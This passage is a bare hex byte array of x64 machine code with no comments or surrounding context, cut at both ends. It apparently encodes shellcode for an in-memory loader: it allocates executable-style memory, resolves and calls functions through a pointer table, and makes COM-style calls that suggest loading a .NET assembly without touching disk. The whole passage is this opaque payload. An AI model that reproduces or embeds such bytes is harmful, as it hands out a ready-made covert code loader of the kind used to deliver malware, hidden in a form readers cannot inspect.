0x48, 0x8d, 0x0d, 0xb9, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89,
0x88, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xa8, 0xf4, 0xff, 0xff,
0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8d,
0x0d, 0x97, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0x98,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x86, 0xf4, 0xff, 0xff, 0x48, 0x8b,
0x02, 0x48, 0x89, 0x88, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x75,
0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xa8, 0x00, 0x00,
0x00, 0x48, 0x8d, 0x0d, 0x64, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48,
0x89, 0x88, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x53, 0xf4, 0xff,
0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xb8, 0x00, 0x00, 0x00, 0x48,
0x8d, 0x0d, 0x42, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88,
0xc0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x55, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x02, 0x48, 0x89, 0x88, 0xc8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x02,
0x48, 0x8d, 0x0d, 0x1d, 0xf4, 0xff, 0xff, 0xc7, 0x44, 0x24, 0x28, 0x00,
0x01, 0x00, 0x00, 0x48, 0x89, 0x88, 0xd0, 0x00, 0x00, 0x00, 0x4c, 0x8d,
0x87, 0xe8, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 0x8d, 0x0d, 0xfd,
0xf3, 0xff, 0xff, 0x41, 0x83, 0xc9, 0xff, 0x48, 0x89, 0x88, 0xd8, 0x00,
0x00, 0x00, 0x48, 0x8d, 0x0d, 0xeb, 0xf3, 0xff, 0xff, 0x48, 0x8b, 0x02,
0x48, 0x89, 0x88, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xda, 0xf3,
0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xe8, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x44, 0x24, 0x30, 0x83, 0x62, 0x20, 0x00, 0x33, 0xc9, 0x48,
0x89, 0x7a, 0x28, 0x33, 0xd2, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x57,
0x70, 0x48, 0x8d, 0x53, 0x08, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xff, 0x97,
0xf8, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x15, 0x48, 0x8b, 0x4b, 0x08,
0x4c, 0x8d, 0x43, 0x10, 0x48, 0x8d, 0x97, 0x84, 0x06, 0x00, 0x00, 0x48,
0x8b, 0x01, 0xff, 0x50, 0x30, 0x4c, 0x8d, 0x9c, 0x24, 0x40, 0x02, 0x00,
0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b, 0xe3,
0x5f, 0xc3, 0xcc, 0xcc, 0x4c, 0x8b, 0xc9, 0x4d, 0x85, 0xc0, 0x75, 0x06,
0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x48, 0x8b, 0x49, 0x28, 0x48, 0x8b,
0x81, 0xf4, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x0d, 0x48, 0x8b,
0x81, 0xfc, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x32, 0x48,
0x8b, 0x81, 0x04, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x0d, 0x48,
0x8b, 0x81, 0x0c, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x19,
0x48, 0x8b, 0x81, 0x84, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x13,
0x48, 0x8b, 0x81, 0x8c, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x75,
0x06, 0x4d, 0x89, 0x08, 0x33, 0xc0, 0xc3, 0x49, 0x83, 0x20, 0x00, 0xb8,
0x02, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28,
0x48, 0x8b, 0x49, 0x18, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0xba, 0xfd,
0xff, 0xff, 0xff, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x70, 0x33, 0xc0, 0x48,
0x83, 0xc4, 0x28, 0xc3, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x20,
0xff, 0xc8, 0xc3, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x41, 0x28,
0x8b, 0xca, 0xff, 0x50, 0x68, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3,
0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x81, 0xec, 0xa0, 0x00, 0x00,
0x00, 0x48, 0x8b, 0xfa, 0x48, 0x8d, 0x99, 0x6c, 0x04, 0x00, 0x00, 0x8a,
0x03, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x84, 0xc0, 0x74, 0x56, 0x48,
0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0x48, 0x2b, 0xd3, 0x3c, 0x3b,
0x74, 0x1b, 0x49, 0x81, 0xf8, 0x80, 0x00, 0x00, 0x00, 0x7d, 0x12, 0x88,
0x04, 0x11, 0x41, 0xff, 0xc1, 0x48, 0xff, 0xc1, 0x49, 0xff, 0xc0, 0x8a,
0x01, 0x84, 0xc0, 0x75, 0xe1, 0x4d, 0x85, 0xc0, 0x74, 0x27, 0x49, 0x63,
0xc9, 0x48, 0x8b, 0xd7, 0x48, 0xff, 0xc1, 0x42, 0xc6, 0x44, 0x04, 0x20,
0x00, 0x48, 0x03, 0xd9, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x5a, 0x1a,
0x00, 0x00, 0x85, 0xc0, 0x75, 0xa5, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb,
0x02, 0x33, 0xc0, 0x48, 0x8b, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x48,
0x81, 0xc4, 0xa0, 0x00, 0x00, 0x00, 0x5f, 0xc3, 0x40, 0x53, 0x48, 0x83,
0xec, 0x50, 0x33, 0xdb, 0x48, 0x8b, 0xc2, 0x4c, 0x8b, 0xc9, 0x48, 0x85,
0xd2, 0x74, 0x37, 0x44, 0x8d, 0x43, 0x30, 0x48, 0x8b, 0xc8, 0x48, 0x8d,
0x54, 0x24, 0x20, 0x41, 0xff, 0x51, 0x58, 0x83, 0xf8, 0x30, 0x75, 0x22,
0x81, 0x7c, 0x24, 0x40, 0x00, 0x10, 0x00, 0x00, 0x75, 0x14, 0x81, 0x7c,
0x24, 0x48, 0x00, 0x00, 0x02, 0x00, 0x75, 0x0a, 0x83, 0x7c, 0x24, 0x44,
0x04, 0x75, 0x03, 0x8d, 0x58, 0xd1, 0x8b, 0xc3, 0xeb, 0x02, 0x33, 0xc0,
0x48, 0x83, 0xc4, 0x50, 0x5b, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,
0x10, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57, 0x41, 0x54, 0x41, 0x56,
0x41, 0x57, 0x48, 0x81, 0xec, 0x30, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0x89,
0x50, 0x01, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xff, 0x41, 0x83, 0xcc,
0xff, 0x4d, 0x8b, 0xf0, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0xf1, 0xbf, 0x00,
0x01, 0x00, 0x00, 0x4d, 0x85, 0xc9, 0x0f, 0x84, 0x03, 0x02, 0x00, 0x00,
0x48, 0x8d, 0x91, 0x24, 0x06, 0x00, 0x00, 0x48, 0x81, 0xc1, 0x14, 0x06,
0x00, 0x00, 0x41, 0xff, 0xd1, 0x85, 0xc0, 0x0f, 0x88, 0xc6, 0x01, 0x00,
0x00, 0x48, 0x8d, 0x44, 0x24, 0x30, 0x89, 0x7c, 0x24, 0x28, 0x4c, 0x8d,
0x45, 0x0c, 0x48, 0x89, 0x44, 0x24, 0x20, 0x45, 0x8b, 0xcc, 0x33, 0xd2,
0x33, 0xc9, 0xff, 0x56, 0x70, 0x49, 0x8b, 0x0e, 0x49, 0x8d, 0x5e, 0x08,
0x4c, 0x8d, 0x86, 0x34, 0x06, 0x00, 0x00, 0x4c, 0x8b, 0xcb, 0x48, 0x8d,
0x54, 0x24, 0x30, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x18, 0x85, 0xc0, 0x78,
0x40, 0x48, 0x8b, 0x0b, 0x48, 0x8d, 0x94, 0x24, 0x60, 0x02, 0x00, 0x00,
0x48, 0x8b, 0x01, 0xff, 0x50, 0x50, 0x85, 0xc0, 0x0f, 0x88, 0x74, 0x01,
0x00, 0x00, 0x44, 0x39, 0xbc, 0x24, 0x60, 0x02, 0x00, 0x00, 0x74, 0x20,
0x48, 0x8b, 0x0b, 0x4d, 0x8d, 0x4e, 0x10, 0x4c, 0x8d, 0x86, 0x54, 0x06,
0x00, 0x00, 0x48, 0x8d, 0x96, 0x44, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x01,
0xff, 0x50, 0x48, 0xeb, 0x03, 0x4c, 0x21, 0x3b, 0x85, 0xc0, 0x0f, 0x88,
0x42, 0x01, 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x10, 0x48, 0x8b, 0x01, 0xff,
0x50, 0x50, 0x85, 0xc0, 0x0f, 0x88, 0x0e, 0x01, 0x00, 0x00, 0x48, 0x8d,
0x44, 0x24, 0x30, 0x89, 0x7c, 0x24, 0x28, 0x4c, 0x8d, 0x85, 0x0c, 0x01,
0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x45, 0x8b, 0xcc, 0x33, 0xd2,
0x33, 0xc9, 0xff, 0x56, 0x70, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xff, 0x96,
0xe8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x10, 0x4d, 0x8d, 0x4e, 0x18,
0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xf8, 0x4c, 0x8b, 0x11,
0x41, 0xff, 0x52, 0x60, 0x48, 0x8b, 0xcf, 0x8b, 0xd8, 0xff, 0x96, 0xf0,
0x00, 0x00, 0x00, 0x85, 0xdb, 0x0f, 0x88, 0xb9, 0x00, 0x00, 0x00, 0x49,
0x8b, 0x4e, 0x18, 0x48, 0x8d, 0x96, 0x64, 0x06, 0x00, 0x00, 0x4d, 0x8d,
0x46, 0x20, 0x48, 0x8b, 0x01, 0xff, 0x10, 0x85, 0xc0, 0x0f, 0x88, 0x9d,
0x00, 0x00, 0x00, 0x8b, 0x85, 0x24, 0x05, 0x00, 0x00, 0x4c, 0x8d, 0x84,
0x24, 0x78, 0x02, 0x00, 0x00, 0x44, 0x21, 0xbc, 0x24, 0x7c, 0x02, 0x00,
0x00, 0xb9, 0x11, 0x00, 0x00, 0x00, 0x89, 0x84, 0x24, 0x78, 0x02, 0x00,
0x00, 0x8d, 0x51, 0xf0, 0xff, 0x96, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x8b,
0xd8, 0x48, 0x85, 0xc0, 0x74, 0x6a, 0x4c, 0x8b, 0x43, 0x10, 0x33, 0xc0,
0x39, 0x85, 0x24, 0x05, 0x00, 0x00, 0x76, 0x15, 0x8a, 0x8c, 0x28, 0x28,
0x05, 0x00, 0x00, 0x42, 0x88, 0x0c, 0x00, 0xff, 0xc0, 0x3b, 0x85, 0x24,
0x05, 0x00, 0x00, 0x72, 0xeb, 0x49, 0x8b, 0x4e, 0x20, 0x4d, 0x8d, 0x46,
0x28, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x68, 0x01, 0x00,
0x00, 0x85, 0xc0, 0x48, 0x8b, 0x43, 0x10, 0x41, 0x0f, 0x94, 0xc7, 0x33,
0xd2, 0x39, 0x95, 0x24, 0x05, 0x00, 0x00, 0x76, 0x16, 0xc6, 0x84, 0x2a,
0x28, 0x05, 0x00, 0x00, 0x00, 0xc6, 0x04, 0x02, 0x00, 0xff, 0xc2, 0x3b,
0x95, 0x24, 0x05, 0x00, 0x00, 0x72, 0xea, 0x48, 0x8b, 0xcb, 0xff, 0x96,
0xd0, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xc7, 0x4c, 0x8d, 0x9c, 0x24, 0x30,
0x02, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x6b, 0x40, 0x49,
0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5e, 0xc3, 0x4d,
0x21, 0x3e, 0x49, 0x8d, 0x46, 0x10, 0x33, 0xd2, 0x4c, 0x8d, 0x8e, 0x54,
0x06, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4c, 0x8d, 0x86, 0x44,
0x06, 0x00, 0x00, 0x33, 0xc9, 0xff, 0x96, 0x48, 0x01, 0x00, 0x00, 0x85,
0xc0, 0x0f, 0x89, 0x95, 0xfe, 0xff, 0xff, 0x4d, 0x21, 0x7e, 0x10, 0x33,
0xc0, 0xeb, 0xb0, 0xcc, 0x40, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41,
0x56, 0x41, 0x57, 0x48, 0x81, 0xec, 0x80, 0x01, 0x00, 0x00, 0x4c, 0x8b,
0x41, 0x28, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x51, 0x48, 0xe8, 0xb6, 0x11,
0x00, 0x00, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x53,
0x50, 0x4c, 0x8b, 0xf0, 0xe8, 0xa3, 0x11, 0x00, 0x00, 0x4c, 0x8b, 0x43,
0x28, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x93, 0x98, 0x01, 0x00, 0x00, 0x4c,
0x8b, 0xf8, 0xe8, 0x8d, 0x11, 0x00, 0x00, 0x48, 0x8b, 0xe8, 0x4d, 0x85,
0xf6, 0x74, 0x30, 0x4d, 0x85, 0xff, 0x74, 0x2b, 0x48, 0x85, 0xc0, 0x74,
0x26, 0x8b, 0x13, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x44,
0x8d, 0x49, 0x04, 0x41, 0xff, 0xd6, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0,
0x75, 0x22, 0x83, 0xbb, 0x30, 0x02, 0x00, 0x00, 0x02, 0x75, 0x04, 0x33,
0xc9, 0xff, 0xd5, 0x83, 0xc8, 0xff, 0x48, 0x81, 0xc4, 0x80, 0x01, 0x00,
0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0x5b, 0xc3,
0x44, 0x8b, 0x03, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0xb2, 0x16,
0x00, 0x00, 0x33, 0xd2, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0x44, 0x8d, 0x42,
0x40, 0xe8, 0xc2, 0x16, 0x00, 0x00, 0x83, 0xbf, 0x34, 0x02, 0x00, 0x00,
0x03, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x75, 0x3b, 0x44, 0x8b, 0x0f,
0x4c, 0x8d, 0x87, 0x40, 0x02, 0x00, 0x00, 0x41, 0x81, 0xe9, 0x40, 0x02,
0x00, 0x00, 0x48, 0x8d, 0x57, 0x14, 0x48, 0x8d, 0x4f, 0x04, 0xe8, 0xa9,
0x12, 0x00, 0x00, 0x48, 0x8b, 0x57, 0x28, 0x48, 0x8d, 0x8f, 0xf0, 0x07,
0x00, 0x00, 0xe8, 0x59, 0x11, 0x00, 0x00, 0x48, 0x3b, 0x87, 0xf0, 0x08,
0x00, 0x00, 0x0f, 0x85, 0x5c, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0x47, 0x28,
0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x57, 0x30, 0xe8, 0xc8, 0x10, 0x00, 0x00,
0x48, 0x89, 0x47, 0x30, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x66, 0xff, 0xff,
0xff, 0x48, 0x8d, 0x9f, 0x44, 0x02, 0x00, 0x00, 0x8a, 0x03, 0x33, 0xd2,
0x84, 0xc0, 0x74, 0x37, 0x33, 0xc9, 0x3c, 0x3b, 0x74, 0x18, 0x81, 0xfa,
0x04, 0x01, 0x00, 0x00, 0x73, 0x10, 0x41, 0x03, 0xd4, 0x88, 0x44, 0x0c,
0x70, 0x8b, 0xca, 0x8a, 0x04, 0x1a, 0x84, 0xc0, 0x75, 0xe4, 0x85, 0xd2,
0x74, 0x15, 0x8d, 0x4a, 0x01, 0xc6, 0x44, 0x14, 0x70, 0x00, 0x48, 0x03,
0xd9, 0x48, 0x8d, 0x4c, 0x24, 0x70, 0xff, 0x57, 0x30, 0xeb, 0xc1, 0x41,
0x8b, 0xf4, 0x44, 0x39, 0xa7, 0x40, 0x02, 0x00, 0x00, 0x76, 0x2c, 0x4c,
0x8b, 0x47, 0x28, 0x48, 0x8b, 0xcf, 0x8b, 0xde, 0x48, 0x8b, 0x54, 0xdf,
0x30, 0xe8, 0x56, 0x10, 0x00, 0x00, 0x48, 0x89, 0x44, 0xdf, 0x30, 0x48,
0x85, 0xc0, 0x0f, 0x84, 0xcc, 0x01, 0x00, 0x00, 0x41, 0x03, 0xf4, 0x3b,
0xb7, 0x40, 0x02, 0x00, 0x00, 0x72, 0xd4, 0x8b, 0x87, 0xe4, 0x06, 0x00,
0x00, 0x83, 0xf8, 0x02, 0x75, 0x19, 0x48, 0x8b, 0xcf, 0xe8, 0x1e, 0xf2,
0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84, 0xa6, 0x01, 0x00, 0x00, 0x48, 0x8b,
0x9f, 0x20, 0x09, 0x00, 0x00, 0xeb, 0x1d, 0x83, 0xf8, 0x03, 0x0f, 0x84,
0x94, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x9f, 0x20, 0x09, 0x00, 0x00, 0x41,
0x3b, 0xc4, 0x74, 0x08, 0x48, 0x8b, 0x9c, 0x24, 0xc0, 0x01, 0x00, 0x00,
0x44, 0x39, 0xa7, 0x6c, 0x05, 0x00, 0x00, 0x74, 0x32, 0x48, 0x8b, 0xcf,
0xe8, 0xaf, 0xef, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0d, 0x83, 0xbf, 0x6c,
0x05, 0x00, 0x00, 0x02, 0x0f, 0x84, 0x5e, 0x01, 0x00, 0x00, 0x48, 0x8b,
0xcf, 0xe8, 0xae, 0xf0, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0d, 0x83, 0xbf,
0x6c, 0x05, 0x00, 0x00, 0x02, 0x0f, 0x84, 0x45, 0x01, 0x00, 0x00, 0x44,
0x39, 0x63, 0x08, 0x0f, 0x84, 0xd6, 0x00, 0x00, 0x00, 0x8b, 0x93, 0x24,
0x05, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x81, 0xc2, 0x30, 0x05, 0x00, 0x00,
0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8d, 0x49, 0x04, 0x41, 0xff,
0xd6, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x13, 0x01, 0x00,
0x00, 0x41, 0xb8, 0x30, 0x05, 0x00, 0x00, 0x48, 0x8b, 0xd3, 0x48, 0x8b,
0xc8, 0xe8, 0xfe, 0x14, 0x00, 0x00, 0x8b, 0x43, 0x08, 0x8d, 0x48, 0xfd,
0x83, 0xf9, 0x02, 0x76, 0x1e, 0x83, 0xf8, 0x02, 0x0f, 0x85, 0x89, 0x00,
0x00, 0x00, 0x48, 0x8d, 0x96, 0x28, 0x05, 0x00, 0x00, 0x48, 0x8d, 0x8b,
0x28, 0x05, 0x00, 0x00, 0xe8, 0x5b, 0x12, 0x00, 0x00, 0xeb, 0x71, 0x0f,
0xb7, 0xc8, 0x4c, 0x8d, 0x84, 0x24, 0xc0, 0x01, 0x00, 0x00, 0x66, 0x41,
0x2b, 0xcc, 0x48, 0x8d, 0x94, 0x24, 0xc8, 0x01, 0x00, 0x00, 0x41, 0xbe,
0x00, 0x01, 0x00, 0x00, 0x66, 0x41, 0x0b, 0xce, 0xff, 0x97, 0xa8, 0x01,
0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xaa, 0x00, 0x00, 0x00, 0x0f, 0xb7,
0x4b, 0x08, 0x48, 0x8d, 0x84, 0x24, 0xd0, 0x01, 0x00, 0x00, 0x44, 0x8b,
0x83, 0x24, 0x05, 0x00, 0x00, 0x4c, 0x8d, 0x8b, 0x28, 0x05, 0x00, 0x00,
0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8d, 0x96, 0x28, 0x05, 0x00, 0x00,
0x8b, 0x83, 0x20, 0x05, 0x00, 0x00, 0x66, 0x41, 0x2b, 0xcc, 0x66, 0x41,
0x0b, 0xce, 0x89, 0x44, 0x24, 0x20, 0xff, 0x97, 0xb0, 0x01, 0x00, 0x00,
0x85, 0xc0, 0x75, 0x68, 0x48, 0x8b, 0xde, 0x8b, 0x0b, 0x8d, 0x41, 0xfd,
0x41, 0x3b, 0xc4, 0x76, 0x50, 0x8d, 0x41, 0xff, 0x41, 0x3b, 0xc4, 0x76,
0x15, 0x8d, 0x41, 0xfb, 0x41, 0x3b, 0xc4, 0x77, 0x4b, 0x48, 0x8b, 0xd3,
0x48, 0x8b, 0xcf, 0xe8, 0x48, 0x09, 0x00, 0x00, 0xeb, 0x3e, 0x4c, 0x8d,
0x44, 0x24, 0x30, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0x7e, 0xfa,
0xff, 0xff, 0x85, 0xc0, 0x74, 0x10, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x48,
0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0x8e, 0x00, 0x00, 0x00, 0x48, 0x8d,
0x54, 0x24, 0x30, 0x48, 0x8b, 0xcf, 0xe8, 0xfd, 0xf4, 0xff, 0xff, 0xeb,
0x0b, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0xac, 0x04, 0x00, 0x00,
0x8b, 0x87, 0xe4, 0x06, 0x00, 0x00, 0xbe, 0x00, 0xc0, 0x00, 0x00, 0x83,
0xe8, 0x02, 0x41, 0x3b, 0xc4, 0x77, 0x31, 0x48, 0x8b, 0x8f, 0x20, 0x09,
0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x25, 0x44, 0x8b, 0x87, 0x18, 0x09,
0x00, 0x00, 0x33, 0xd2, 0xe8, 0xef, 0x13, 0x00, 0x00, 0x48, 0x8b, 0x8f,
0x20, 0x09, 0x00, 0x00, 0x44, 0x8b, 0xc6, 0x33, 0xd2, 0x41, 0xff, 0xd7,
0x48, 0x83, 0xa7, 0x20, 0x09, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x07, 0x33,
0xd2, 0x8b, 0x9f, 0x30, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xe8, 0xc5,
0x13, 0x00, 0x00, 0x44, 0x8b, 0xc6, 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0x41,
0xff, 0xd7, 0x83, 0xfb, 0x02, 0x75, 0x04, 0x33, 0xc9, 0xff, 0xd5, 0x33,
0xc0, 0xe9, 0xb8, 0xfc, 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,
0x08, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57,
0x48, 0x8d, 0xac, 0x24, 0xe0, 0xfd, 0xff, 0xff, 0x48, 0x81, 0xec, 0x20,
0x03, 0x00, 0x00, 0x45, 0x33, 0xed, 0x33, 0xc0, 0x83, 0x3a, 0x02, 0x0f,
0x57, 0xc0, 0x4d, 0x8b, 0xf0, 0x4c, 0x89, 0x6c, 0x24, 0x50, 0x48, 0x8b,
0xf2, 0x48, 0x89, 0x45, 0x88, 0x45, 0x8d, 0x7d, 0x01, 0x66, 0x44, 0x89,
0xad, 0x68, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x41, 0x8b, 0xfd, 0x0f,
0x11, 0x44, 0x24, 0x78, 0x0f, 0x85, 0xf8, 0x01, 0x00, 0x00, 0x49, 0x8b,
0x48, 0x28, 0x49, 0x8d, 0x50, 0x38, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x80,
0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0xd6, 0x01, 0x00, 0x00, 0x49,
0x8b, 0x4e, 0x38, 0x48, 0x8d, 0x54, 0x24, 0x50, 0x48, 0x8b, 0x01, 0xff,
0x90, 0x90, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0x8e, 0x03, 0x00,
0x00, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x4c, 0x8d, 0x44, 0x24, 0x48, 0x41,
0x8b, 0xd7, 0xff, 0x93, 0xd8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24,
0x50, 0x4c, 0x8d, 0x44, 0x24, 0x44, 0x41, 0x8b, 0xd7, 0xff, 0x93, 0xe0,
0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x44, 0x2b, 0x44, 0x24, 0x48, 0x41,
0x03, 0xc7, 0x0f, 0x84, 0x2e, 0x01, 0x00, 0x00, 0x41, 0x8d, 0x4d, 0x0c,
0x45, 0x8b, 0xc7, 0x33, 0xd2, 0xff, 0x93, 0xc0, 0x00, 0x00, 0x00, 0x4c,
0x8d, 0x86, 0x0c, 0x04, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8b, 0xf8, 0x45,
0x38, 0x28, 0x0f, 0x84, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x10,
0x41, 0xbf, 0x00, 0x01, 0x00, 0x00, 0x44, 0x89, 0x7c, 0x24, 0x28, 0x41,
0x83, 0xc9, 0xff, 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x53,
0x70, 0x48, 0x8d, 0x54, 0x24, 0x40, 0x48, 0x8d, 0x4d, 0x10, 0xff, 0x93,
0xb0, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24, 0x40, 0xb9, 0x08, 0x20,
0x00, 0x00, 0x66, 0x89, 0x4c, 0x24, 0x60, 0x33, 0xd2, 0x41, 0x8d, 0x4d,
0x08, 0x4c, 0x8b, 0xf8, 0xff, 0x93, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x8b,
0xcd, 0x89, 0x8d, 0x78, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x68,
0x44, 0x39, 0x6c, 0x24, 0x40, 0x0f, 0x86, 0x85, 0x00, 0x00, 0x00, 0x45,
0x8d, 0x65, 0x01, 0x49, 0x8b, 0x0c, 0xcf, 0xff, 0x93, 0xe8, 0x00, 0x00,
0x00, 0x48, 0x8b, 0x4c, 0x24, 0x68, 0x48, 0x8d, 0x95, 0x78, 0x02, 0x00,
0x00, 0x4c, 0x8b, 0xc0, 0xff, 0x93, 0xc8, 0x00, 0x00, 0x00, 0x8b, 0x8d,
0x78, 0x02, 0x00, 0x00, 0x41, 0x03, 0xcc, 0x89, 0x8d, 0x78, 0x02, 0x00,
0x00, 0x3b, 0x4c, 0x24, 0x40, 0x72, 0xcc, 0x45, 0x8b, 0xfc, 0xeb, 0x4e,
0xb9, 0x08, 0x20, 0x00, 0x00, 0x45, 0x8b, 0xc7, 0x66, 0x89, 0x4c, 0x24,
0x60, 0xb9, 0x08, 0x00, 0x00, 0x00, 0xff, 0x93, 0xc0, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x8d, 0x68, 0x02, 0x00, 0x00, 0x44, 0x89, 0xad, 0x78, 0x02,
0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x68, 0xff, 0x93, 0xe8, 0x00, 0x00,
0x00, 0x48, 0x8b, 0x4c, 0x24, 0x68, 0x48, 0x8d, 0x95, 0x78, 0x02, 0x00,
0x00, 0x4c, 0x8b, 0xc0, 0xff, 0x93, 0xc8, 0x00, 0x00, 0x00, 0xeb, 0x06,
0x41, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x60, 0x44,
0x89, 0xad, 0x78, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x95, 0x78, 0x02, 0x00,
0x00, 0x48, 0x8b, 0xcf, 0xff, 0x93, 0xc8, 0x00, 0x00, 0x00, 0x49, 0x8b,
0x4e, 0x38, 0x4c, 0x8d, 0x4d, 0xd8, 0xf2, 0x0f, 0x10, 0x4d, 0x88, 0x48,
